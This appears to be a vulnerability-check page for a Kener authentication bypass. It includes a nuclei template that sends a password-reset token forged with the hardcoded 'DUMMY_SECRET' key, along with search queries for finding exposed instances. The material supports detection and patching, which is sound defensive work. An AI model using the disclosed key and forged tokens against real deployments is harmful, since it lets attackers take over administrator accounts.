Kener - Authentication Bypass

criticalseverity

8.1CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

Kener 3.0.0 before 4.1.10 falls back to the hardcoded JWT secret "DUMMY_SECRET" when the KENER_SECRET_KEY environment variable is unset or empty. An unauthenticated attacker can forge session cookies and password-reset tokens signed with that key. A forged password-reset token accepted by POST /account/forgot/api/password-reset produces a distinct response: the request passes token verification and fails only later at user lookup ("User does not exist"), whereas patched versions reject the token signature immediately with "Invalid or expired token".

Impact

Unauthenticated attackers can gain full administrative privileges and forge password-reset tokens, compromising system security.

Fix

Update to version 4.1.10 or later.

How to confirm it

Send: POST {{BaseURL}}/account/forgot/api/password-reset
Positive when: contains "User does not exist" AND status 401

Run it with nuclei: nuclei -id CVE-2026-116747 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-116747

info:
  name: Kener - Authentication Bypass
  author: kosoyyagent
  severity: critical
  description: |
    Kener 3.0.0 before 4.1.10 falls back to the hardcoded JWT secret "DUMMY_SECRET" when the KENER_SECRET_KEY environment variable is unset or empty. An unauthenticated attacker can forge session cookies and password-reset tokens signed with that key. A forged password-reset token accepted by POST /account/forgot/api/password-reset produces a distinct response: the request passes token verification and fails only later at user lookup ("User does not exist"), whereas patched versions reject the token signature immediately with "Invalid or expired token".
  impact: |
    Unauthenticated attackers can gain full administrative privileges and forge password-reset tokens, compromising system security.
  remediation: |
    Update to version 4.1.10 or later.
  reference:
    - https://github.com/rajnandan1/kener/commit/ff636483544c926eab5b5e3e26b811c0f52bcaf8
    - https://github.com/rajnandan1/kener/issues/871
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116747
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cve-id: CVE-2026-116747
    epss-score: 0.00623
    epss-percentile: 0.50207
    cwe-id: CWE-321
  metadata:
    max-request: 1
    vendor: rajnandan1
    product: kener
    shodan-query: title:"Kener"
    fofa-query: title="Kener"
  tags: cve,cve2026,kener,auth-bypass,jwt

http:
  - method: POST
    path:
      - "{{BaseURL}}/account/forgot/api/password-reset"
    headers:
      Content-Type: application/json
    body: '{"receivedToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Im51Y2xlaS1wcm9iZS1ub25leGlzdGVudEBpbnZhbGlkLmludmFsaWQiLCJnZW5lcmF0ZWRBdCI6NDEwMjQ0NDgwMDAwMH0.MIKp32FOJN5duVN9qWDiJCa9HbQwt_---tM2YN93B1o","newPassword":"NucleiProbe123"}'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "User does not exist"

      - type: status
        status:
          - 401

References

Use this check only on systems you are authorised to test. Where the data comes from